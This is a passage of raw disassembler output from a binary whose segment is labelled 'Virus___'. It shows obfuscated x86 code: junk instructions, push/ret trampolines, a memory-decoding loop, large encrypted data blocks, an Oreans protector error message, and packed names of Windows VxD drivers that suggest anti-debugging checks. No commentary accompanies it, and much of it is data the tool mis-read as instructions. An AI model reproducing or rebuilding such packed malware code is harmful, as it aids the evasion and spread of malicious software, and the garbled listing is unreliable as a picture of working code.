edx push ecx mov ecx, edi push ecx pop dword ptr [edx+8] pop ecx push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5729AF ; --------------------------------------------------------------------------- dw 94FDh dd 0DCC686F8h, 0EF3D063Fh db 1Dh ; --------------------------------------------------------------------------- loc_5A13C9: ; CODE XREF: Virus___:005A0E0Cj mov eax, 9606801h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0C420h dd 0C8513DA3h, 55D90CD6h, 81A567BEh, 99911B99h, 0C18D1C7Bh dd 0FF3F43BCh, 17813505h, 95893ED1h, 0C2F66ECBh, 89D25140h dd 781767B6h, 10E82401h, 5D000000h, 4D43BB4Fh, 0E9879B1h dd 59F0A8E5h, 0B7F551C4h, 8B665A9Dh, 37C281F2h, 66000064h dd 0BF7672BBh, 251B7244h, 0A69FC781h, 5E9DAE4h, 84000000h dd 9AF3EE67h, 0D48032FFh, 0CE859DEh, 24000000h, 272987D1h dd 6416BA94h, 0BE2912EEh, 2B1C63FEh, 0EBC1815Bh, 8145037Fh dd 164258F1h, 0F181F95Ch, 0CE2A8E9h, 51F38B66h, 0C7E38166h dd 0E9028F0Ch, 6, 1205DE8Bh, 0EA819F0Eh, 60519A22h, 81DAB70Fh dd 519A1EC2h, 0EE860h, 0AE840000h, 0CD51ACDBh, 0E80A0298h dd 7CD2AD27h, 5BF3B70Fh, 0F01EF83h, 0FFFF8B85h, 0C08166FFh dd 34EBFF81h, 4D534649h, 20205247h, 20444B56h, 20202020h dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h dd 20205244h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A1C5F ; --------------------------------------------------------------------------- push 0 push eax call sub_5A14FC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A14FC proc near ; CODE XREF: Virus___:005A14F4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5A14FC endp ; --------------------------------------------------------------------------- dd 6A60F5E0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 8167C356h, 888DD0E1h, 2646A7Dh dd 13E9h, 56BAD400h, 0CEAB7E43h, 620A9C9Ch, 10B1526Eh dd 733075A3h, 69B085C7h, 960h, 8E0F0000h, 2, 0C68B6160h dd 0AE9h, 0FED19D00h, 9A26BEFFh, 0F6153CDh, 0C1F8D8B7h dd 5E910E8h, 26000000h, 8AC176F4h, 8C8C166h, 0B48589F8h dd 60096069h, 302DDA81h, 7E944F6h, 97000000h, 760CD07Ah dd 666191A9h, 6008CBC1h, 16830Fh, 11E90000h, 0B2000000h dd 5F363211h, 70B4A164h, 0C70F21C3h, 7BF104ECh, 78C08166h dd 0FB83614Dh, 0A2850F40h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EE47C357h dd 0AEC7B193h, 71642F74h, 12E9h, 75ADB000h, 40C57A9Ah dd 31051B9h, 807D4E7Bh, 8DE13328h, 606988BDh, 8B666009h dd 0D38B66D8h, 21EE961h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0C45185C3h, 890F2109h dd 16h, 11E9h, 35F56F00h, 2025D009h, 780F8C6Dh, 9BF55D09h dd 12E987C5h, 4F000000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h dd 5C94B12Eh, 0DFB83FBh, 57850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F68451C3h dd 5A2D11E7h, 0FA5FB6Ah, 88Fh, 2870F00h, 60000000h, 1890F61h dd 0F5000000h, 6990BD8Dh, 0F5600960h, 17AE961h, 0AE90000h dd 4D000000h, 0A4E0ECC3h, 0F389441Bh, 1FB83BFh, 0A8850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0FC3AD3C3h, 0FC8B860h, 0BF666805h, 8D61C75Bh dd 606998BDh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 923BCFBFh, 135FD03h, 60D98160h, 611D6C4Fh dd 4140BE60h, 0CE9095Fh, 81000000h, 6F641D21h, 66DFCAADh dd 61F81A30h, 0EBE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8A0FA564h, 0Eh, 9E9h dd 0A6DBE00h, 64BFAC29h, 0FB833601h, 68850F2Ah, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A34EC357h, 13E9751Bh, 0CE000000h, 63391589h dd 0A287C417h, 0E44BFF71h, 0D35CECBFh, 0BD8DB9B7h, 96069A0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 32C35545h dd 40581C2Bh, 0C48F71D2h, 4AE9FCh, 83F50000h, 850F27FBh dd 306h, 0D381F560h, 606FFE5Fh, 0A8BD8D61h, 6A096069h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 61F6C353h, 0E937F4EDh, 0Ch, 9EECE105h, 9110B09h dd 6BF19494h, 69B8BD89h, 6A0960h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 4D2C5C3h, 0B761E00Fh dd 0C88C66F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 2AC35646h, 6A0324h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0C28ACFC3h, 1880Fh, 0E9F90000h dd 8, 1B327493h, 0A047711Ah, 850FC00Ah, 1B2h, 0F5B58DF9h dd 6A09606Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0E67BC356h, 9C41238Ah, 15880Fh dd 10E90000h, 0C6000000h, 3C3E42DFh, 75E3E931h, 45B81A70h dd 8BC97BD4h, 60709585h, 14E9FC09h, 0EA000000h, 0D4E6BDBDh dd 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh, 50D7EAF9h, 0FE8B6660h dd 61F08B66h, 0F241489h, 1D89h, 17890F00h, 0E9000000h dd 12h, 0C81D9DF9h, 0A38DCD04h, 69F57B20h, 809DFABDh, 800F4708h dd 7, 1830Fh, 0FFC0000h, 0FE244C01h, 168C0Fh, 11E90000h dd 78000000h, 0C698814Ch, 86FC0B0Eh, 496207D2h, 0B6B60AB8h dd 55006A5Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 73CF675Bh, 0CE957h, 7290000h, 0A102B943h dd 0E81108AAh, 0C2835CD4h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D3883301h dd 528BE543h, 810F7EACh, 1, 8966F5F9h, 6660FC72h, 613B27BBh dd 0F10CEC1h, 0C8Ch, 6830F00h, 0F000000h, 8Ch, 12E96000h dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh dd 810F60AEh, 0 dd 6169E580h, 72896661h, 4810F02h, 60000000h, 0CD615E57h dd 0BAE9F804h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 855AC355h, 0FA4DD87h dd 118Ch, 0CE900h, 67150000h, 0B0975819h, 0D3A4D897h, 858BC5BFh dd 9607095h, 0C890Fh, 810F0000h, 6, 810Fh, 0B58D0000h dd 9606FF5h, 0CA8B5360h, 61C3B55Fh, 410E858Dh, 6A0960h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 3717FCC3h, 358DD79Ch, 5E93D91h, 11000000h, 0B1979F30h dd 6060D0FFh, 0BAC9B70Fh, 422A5E04h, 7E861h, 0CB470000h dd 0F97900DDh, 9E9C1h, 0D470000h, 7E02C474h, 5955C854h dd 0B0858961h, 0F096069h, 18Eh, 0F861F900h, 69B0858Bh dd 66600960h db 0BFh, 0F2h word_5A1B0E dw 81F0h ; DATA XREF: Virus___:005813F2o dd 0ED5F0F3h, 60C36107h, 1810Fh, 66F80000h, 3AABC281h dd 6A6061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FC71AC3h, 18Bh, 0BD83F500h, 9607095h, 47850F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0E9BAC356h, 0BD7F6A66h, 81ABE7A0h dd 9585C7F5h, 3F096070h, 0E9000101h, 8, 4B4339B5h, 7AE807F8h dd 5E9h, 7CFA9200h, 20E99234h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9693C352h dd 0CDFC6E11h, 20h, 74C00B00h, 0C708D37h, 69B8BD8Bh, 8B90960h dd 0A6000000h, 75492275h, 30488BFAh, 69B49D8Bh, 583B0960h dd 8B157F34h, 4D26BD3h, 18BCA03h, 69B08589h, 4EB0960h dd 0C5EB008Bh, 0B0858B61h, 0CF096069h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0DCC35545h, 0D850F58h, 60000000h dd 0F8EF19BFh, 8A0F35h, 61000000h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 95C35646h, 0A3FCD63Ch db 0C1h, 2Dh, 8Ah ; --------------------------------------------------------------------------- loc_5A1C5F: ; CODE XREF: Virus___:005A14ECj mov eax, eax call sub_5A1C71 adc dl, [ecx+3Bh] or al, 0F3h push eax mov esp, 5AD161B2h ; =============== S U B R O U T I N E ======================================= sub_5A1C71 proc near ; CODE XREF: Virus___:005A1C61p arg_0 = dword ptr 4 mov esi, edi pop edi jmp loc_5A1C85 ; --------------------------------------------------------------------------- db 3Fh, 0FBh, 78h dd 0BF3652E5h, 3ECA620Eh db 0F4h ; --------------------------------------------------------------------------- loc_5A1C85: ; CODE XREF: sub_5A1C71+3j ; sub_5A1C71+39j add edi, 5F75h jmp loc_5A1C9C ; --------------------------------------------------------------------------- dd 143C73C6h, 0D799CAEFh, 68F8D660h ; --------------------------------------------------------------------------- loc_5A1C9C: ; CODE XREF: sub_5A1C71+1Aj mov eax, 0 loc_5A1CA1: ; CODE XREF: sub_5A1C71+97j push dword ptr [eax+edi] jmp loc_5A1CB9 ; --------------------------------------------------------------------------- cld jbe short loc_5A1C85 dec esp xor [eax], al sal byte ptr [ecx], cl cmpsd fld qword ptr [edx+esi*8+2776EC1h] loc_5A1CB9: ; CODE XREF: sub_5A1C71+33j pop ebx jle loc_5A1CC5 and dx, 828Ah loc_5A1CC5: ; CODE XREF: sub_5A1C71+49j add ebx, 72CF76DDh jmp loc_5A1CD5 ; --------------------------------------------------------------------------- dd 0D8C542E4h db 0A2h ; --------------------------------------------------------------------------- loc_5A1CD5: ; CODE XREF: sub_5A1C71+5Aj add ebx, 28607DCDh mov dh, 61h add ebx, 5D334CCCh mov esi, 6E3E4982h push ebx movzx esi, si pop dword ptr [edi+eax] xor esi, 6572FA6Bh sbb edx, 5597A396h sub eax, 4 mov cx, 336Ah cmp eax, 0FFFFA134h jnz loc_5A1CA1 or cx, 4C08h jmp loc_5A2118 ; --------------------------------------------------------------------------- dd 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 0E4h dup(0) dd 43h, 36Ah, 0 ; --------------------------------------------------------------------------- loc_5A2118: ; CODE XREF: sub_5A1C71+A2j jmp loc_5A328A ; --------------------------------------------------------------------------- push 0 push edi call loc_5A2128 and [edi-3Dh], bl loc_5A2128: ; CODE XREF: sub_5A1C71+4AFp pop edi mov [esp+arg_0], edi add [esp+arg_0], 18h inc edi push edi retn ; --------------------------------------------------------------------------- dd 0BA65E319h, 0AD85899Dh, 8B095D0Ch, 5D060585h, 6840F09h dd 31000000h, 5D2309B5h, 24443909h, 7B850F04h, 1000000h dd 5D1089B5h, 39BD8309h, 95D16h, 68840Fh, 0BD090000h, 95D1325h dd 3973858Dh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0EA09AFC3h, 85897887h, 95D0FA1h dd 6E9h, 0FFB19B00h, 0FF4A4C8Bh, 56006AE0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 890FD4D7h dd 6, 18CD9589h, 858B095Dh, 95D0711h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 65C35040h, 2444395Eh, 15850F04h dd 0F5000000h, 75E485C7h, 10960h, 5E90000h, 80000000h dd 0A4EBB585h, 0AE96060h, 0CC000000h, 0C42D5BEh, 27451DC8h dd 0B18D8B60h, 61095D2Bh, 0AE9h, 7D858900h, 95D28h, 0B8000000h dd 1, 770F8587h, 0C00B0960h, 0B5FFF675h, 95D3335h, 75DC858Fh dd 206A0960h, 95FFFF6Ah, 95D0769h, 2B0DBD83h, 7400095Dh dd 0FF006A08h, 5D11B195h, 15BD8309h, 1095D03h, 80680D74h dd 6A000000h, 6995FFFFh, 6A095D07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0D5C3C353h dd 1008A3F5h, 29339350h, 5D191185h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 6DB31E34h dd 1648A8EDh, 0BE91Ah, 0EC340000h, 0D8456483h, 0F8133D22h dd 0B83Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 7CC35DC3h, 10303C2Fh, 0B58B6068h dd 95D179Dh, 28B1B58Bh, 8B61095Dh, 0E9282454h, 13h, 719CB995h dd 16CBCAD1h, 0F98412CBh, 640941A6h, 894AD2DBh, 5D33A985h dd 3CBEF909h, 0F000000h, 58Bh, 0C3806000h, 74036157h, 0F602424h dd 68Eh, 4DB58900h, 8B095D0Ah, 5D25018Dh, 0AD666109h, 0C658D29h dd 0F60095Dh, 58Ah, 0F1816600h, 8F0FBF20h, 6, 0F75BD89h dd 361095Dh, 6A242444h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8C69C356h, 0F9C934Bh dd 185h, 6660F500h, 8940F4BFh, 5D211D85h, 50906109h, 12E952h dd 85DB0000h, 0A8AD757Eh, 4D58FF08h, 0BEDD3168h, 0B7CBF74h dd 8F0F310Fh, 6, 850Fh, 585A0000h, 198D0F50h, 60000000h dd 10E9h, 408C9000h, 0D7C92806h, 0D01C63D0h, 96DBE8FEh dd 615A5029h, 0D1958990h, 8B095D33h, 8E0F7840h, 9, 66616060h dd 1064C681h, 0E4BD8361h, 96075h, 121850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 25165DC3h, 9831BD16h, 29559589h, 90F5095Dh, 188D0Fh dd 13E90000h, 14000000h, 8A11BA21h, 0A1530D14h, 0BC6E8409h dd 895B9030h, 0E95056D8h, 10h, 3AB7BE9Eh, 2CD7B519h, 7BDA482h dd 0C88C9817h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0C342690h, 8D890B9Ah dd 95D28C5h, 2C24448Bh, 25E59D01h, 5090095Dh, 60525052h dd 50310F61h, 5A310F52h, 0F585A58h, 0DE931h, 7EC60000h dd 47808230h, 0D8590C89h, 5A80A686h, 52505058h, 66616060h dd 61CD83BBh, 880F310Fh, 2, 585A6160h, 53006A90h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0A880FCEh, 0E9000000h, 5, 4443E44Fh, 0C850FF1h, 0E9000000h dd 7, 0CB1D1EB6h, 8D34CE13h, 6041B585h, 55B58909h, 0FF095D0Ch dd 0BD8D89D0h, 3095D16h, 6A282444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A2ECC350h dd 0F427C9D8h, 0C87F4F41h, 5359589h, 408B095Dh, 52006A18h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5D5E71F3h, 16D9BD89h, 9589095Dh, 95D1F45h, 6880Fh, 85890000h dd 95D244Dh, 68C0F40h, 31000000h, 5D1D5595h, 0E0858909h dd 6A096075h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0B4EBC357h, 1880Fh, 58F50000h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 37C35545h dd 4CBBBA13h, 9D89CB9Ah, 95D0AC1h, 21C1B529h, 708B095Dh dd 52006A78h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 175D23C6h, 9D31614Eh, 95D0829h, 0CE816660h dd 0BD89B59Ah, 95D26A5h, 11853161h, 83095D16h, 6A1CC6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0A4720EC3h, 0F6C79EDh, 687h, 8D8D3100h, 96095D1Fh, 9D68B60h dd 5D1A5595h, 7C816109h, 2424h, 870F1000h, 125h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2BC35242h, 8C52AB02h dd 0DD17F20Ah, 0C870Fh, 810F0000h, 6, 8E0Fh, 850F0000h dd 15h, 10E9h, 0FBBCE700h, 9D788C7h, 0D220C422h, 7278D211h dd 8F0F50FEh, 0Eh, 890F5250h, 0 dd 6160310Fh, 489585Ah, 13E924h, 0F1280000h, 9B408D7h dd 2CEBFDB1h, 64CA30B6h, 84627862h, 10B960C9h, 0E97AB3F3h dd 9, 73E53BD8h, 33965505h, 448B6117h, 6A2824h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 509041C3h, 11890F52h, 0E9000000h, 0Ch, 6DD9893Ah, 720457ABh dd 9C82F492h, 0F60310Fh, 84h, 585A6100h, 50525050h, 820F52h dd 0F000000h, 5A616031h, 60310F58h, 5A61FB8Bh, 8DF99058h dd 6041B585h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0F9A1857h, 9D19D09h, 0D0FF095Dh dd 0BD0196F5h, 95D1D2Dh, 24247403h, 0F2B96660h, 9E9C3h dd 4BF10000h, 0B57CB106h, 61E8CA5Ch, 999BD8Dh, 8E0F095Dh dd 12h, 0DE9h, 371DF200h, 0AA2C3F02h, 0AD91C555h, 0ADF53D0Ch dd 0FE9h, 7F5CF800h, 0EA28D1BFh, 82A580B0h, 0E3A2B923h dd 24247C81h, 10000000h, 128870Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8C0F4BC3h dd 6, 1D318529h, 8D89095Dh, 95D1D55h, 0C880F90h, 0F000000h dd 686h, 820F00h, 50000000h, 1BE6660h, 8E9E4h, 0FA420000h dd 74E3328Ch, 9061B542h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0D6C35646h, 7860Fh, 8E0F0000h, 1, 8A0F60F5h dd 2, 95895B51h, 95D2945h, 24448B61h, 55006A28h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6B2B7F68h, 9F4766FCh, 0CE950F8h, 5F000000h, 4F29FF1Fh dd 12A63857h, 890C3B51h, 8DFC2404h, 6041B585h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0C3448599h, 0E9BEA455h, 0Eh, 450697FEh, 79F64E12h, 3E140D67h dd 0D0FF2B9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 7BC35747h, 4403F9F8h, 6A2424h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5BCFDFC3h dd 6AAB2Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0AE246EC3h, 72BC90BBh, 29698D29h, 0FA81095Dh dd 10000h, 72D820Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 5849C2C3h, 0FEE96267h dd 0BD8D95C7h, 95D03DDh, 143DBD89h, 60AD095Dh, 1AC38166h dd 7C8161C1h, 2424h, 870F1000h, 93h, 8E9h, 82CBA600h, 90A0F0D9h dd 820F50ABh, 8, 880F60h, 61000000h, 89240489h, 5D313185h dd 24448B09h, 0F90F828h, 0C81h, 6850F00h, 0F000000h, 86h dd 52505000h, 8A0F60h, 60000000h, 310F6161h, 60BA6660h dd 585A617Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0A9B9A8C4h, 0C5853182h, 8D095D0Bh dd 6041B585h, 99D3109h, 0FF095D24h, 0F38B60D0h, 2F7DB50Bh dd 361095Dh, 9242444h, 5D1A858Dh, 52509009h, 10E9h, 381B8800h dd 0F5A4FA2Ah, 9B234DCh, 269204F7h, 50310F26h, 0F616052h dd 0EE931h, 5C8F0000h, 939FCC64h, 0BAB06490h, 80A58E3Ah dd 585A585Ah, 0BE950h, 62F30000h, 0C526D33Dh, 2A2CBF24h dd 8B609086h, 0B70F60D8h, 61F1B4C7h, 6AAB61h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD898BC3h dd 95D32E9h, 28C1BD8Dh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 35E70AC3h, 2960AD03h dd 5D22B995h, 3D852909h, 61095D13h, 28247C81h, 10000000h dd 10B870Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 940724C3h, 0C98589DAh, 50095D07h dd 8E9h, 768BF900h, 8C7435AEh, 24048964h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 0CAC35646h, 0E867AE58h dd 0F362BE60h, 0E4807209h, 8B6061C7h, 5D20A19Dh, 858D2909h dd 61095D2Fh, 2C24448Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 17C35545h, 0B4559372h, 6820F04h, 29000000h dd 5D2F25B5h, 820F9009h, 0Ah, 50616060h, 5A310F52h, 0F506158h dd 0A80h, 8B666000h, 25B8C3h, 90613C99h, 2665BD01h, 858D095Dh dd 96041B5h, 138B0Fh, 0EE90000h, 7C000000h, 5E52DD3Dh dd 6708A0F8h, 0BA8A9792h, 6AD0FFACh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 90E7C353h dd 68BDF708h, 244403F5h, 0D1858928h, 0AB095D06h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h, 0C93A870Ch dd 8B6660B1h, 59B589FBh, 61095D17h, 0E08DFF5Eh, 83096075h dd 6075E0BDh, 0A750009h, 0B58DC033h, 9608491h, 0AD56E6FFh dd 28247C81h, 10000000h, 8B500E77h, 502C2444h, 41B5858Dh dd 0D0FF0960h, 28244403h, 8ADF8B97h, 6075DC85h, 74C08409h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 0A985FF04h, 0E9095D33h, 0FFFFFF5Dh, 0FFCF95Eh dd 689h, 0D8D0900h, 8B095D07h, 5D33A985h, 31950109h, 0D1095D2Ah dd 6840FE0h, 89000000h, 5D1235BDh, 0C1850309h, 6A095D28h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 9FEBC351h, 0DB0B6BF8h, 11E96Bh, 0F0DE0000h dd 0B3E37Fh, 0BD07737Fh, 0A9BFC778h, 1914758h, 5D17F185h dd 6AF62B09h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3F77C355h, 0BD29A44Bh, 95D2679h dd 0BD8996F8h, 95D1815h, 6AAD66h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0F33FAFC3h, 6E860h, 0DC360000h dd 544A9ECFh, 8B58E88Ah, 5D0C799Dh, 0C1F56109h, 6A02E0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E38FE6C3h, 0E5D32AC3h, 0B1608C5Bh, 8503618Dh, 95D0999h dd 0F58D3360h, 8B095D1Ch, 5D2FB19Dh, 6A966109h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0A746C355h, 0CE416558h, 31B5295Ah, 0AD095D11h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DCC35242h, 5516CDAFh dd 629E3759h, 91858B60h, 0F095D03h, 689h, 870F00h, 61000000h dd 24247C81h, 10000000h, 101870Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 307222C3h dd 0D3064D36h, 99858901h, 90095D03h, 52505250h, 12E9h dd 6A9D3400h, 0C49FE704h, 0E86E384Fh, 805F722Bh, 0F5B6ABAh dd 8D0F31h, 5A000000h, 0F310F58h, 685h dd 850F00h, 5A000000h, 11E95058h, 0E2000000h, 3446AF8Fh dd 6AB16Ch, 834E294Ch, 50A51E0Eh, 59BD2990h, 8B095D13h dd 6A282444h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0DC42C356h, 0F22429Bh, 39BD8B60h dd 51095D08h, 21E1958Bh, 6158095Dh, 2AB5B501h, 0E990095Dh dd 0Ah, 5968A5A6h, 9F32B04Ch, 605066B9h, 5A616051h, 0DE99061h dd 70000000h, 3F4D3947h, 0EB906041h, 0E761B0F1h, 41B5858Dh dd 0CE90960h, 3B000000h, 2A9CBC7Ah, 0EFE802D6h, 0FFB4735Eh dd 0E99D89D0h, 3095D02h, 29242444h, 5D2B859Dh, 24448909h dd 52006A1Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 601E5F50h, 4A58D89h, 14E9095Dh, 81000000h dd 0BB1079F9h, 0E6B5CE22h, 4569AD5Ch, 79AEF28Bh, 610299EFh dd 333585C6h, 0C700095Dh, 60770F85h, 9, 0E485C700h, 96075h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 14E8C353h, 176FEE2Bh, 9FE96530h dd 0AE9h, 0CDFD0B00h, 16CA4AECh, 0E9E6CFB4h, 13h, 34A7E244h dd 6BC44B9Fh, 8030CCE7h, 771E5025h, 6ADEAC32h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 5944C356h, 32E29120h, 263D9509h, 9531095Dh, 95D32F1h dd 0CE961h, 0F2A30000h, 0DFA3B296h, 0E91F3959h, 8C28991h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 601D1FCDh, 59529h, 8509095Dh, 95D310Dh dd 0D99D8961h, 8B095D0Bh, 5D099985h, 13890F09h, 0F000000h dd 0D82h, 8E900h, 0CE1D0000h, 854C9C5Eh, 0E94A9899h, 12h dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh, 8D89B50Bh dd 95D2095h, 6A04D26Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 6FFEC353h, 0C541CA27h dd 89F801C5h, 5D23BD9Dh, 0C203F809h, 0BE9h, 97D80000h dd 0CA9AE530h, 0DB977946h, 0CE996h, 0A5300000h, 9FB70972h dd 14D235D4h, 0F5AD6615h, 24247C81h, 10000000h, 0E2870Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 5BCE70C3h, 0FC0E335Fh, 11E950h, 5BEC0000h dd 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 89B4BCD2h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0FD8AC0C3h, 448B87B6h, 95312824h, 95D0B15h, 11E990h dd 18A0000h, 0CD984E1Ch, 1AA3FF59h, 0FD3F469h, 505B4539h dd 0DE9h, 600D7B00h, 4424ACh, 0A70EEAA6h, 6A909910h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 6643C355h, 0E929851Ch, 0Fh, 48F13338h, 0A4B75839h, 83402F90h dd 60A5E898h, 260D8503h, 8D61095Dh, 6041B585h, 18D0F09h dd 0F5000000h, 9509D0FFh, 95D1379h, 0FFFD52E9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0E21701A7h, 0E4777048h db 2Bh, 5Eh ; --------------------------------------------------------------------------- loc_5A328A: ; CODE XREF: sub_5A1C71:loc_5A2118j lea eax, [ebp+9608AE2h] push 0 push ebp call sub_5A329B and [ebp-3Dh], bl sub_5A1C71 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A329B proc near ; CODE XREF: sub_5A1C71+1622p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5A329B endp ; --------------------------------------------------------------------------- add dword ptr [edx-1080F399h], 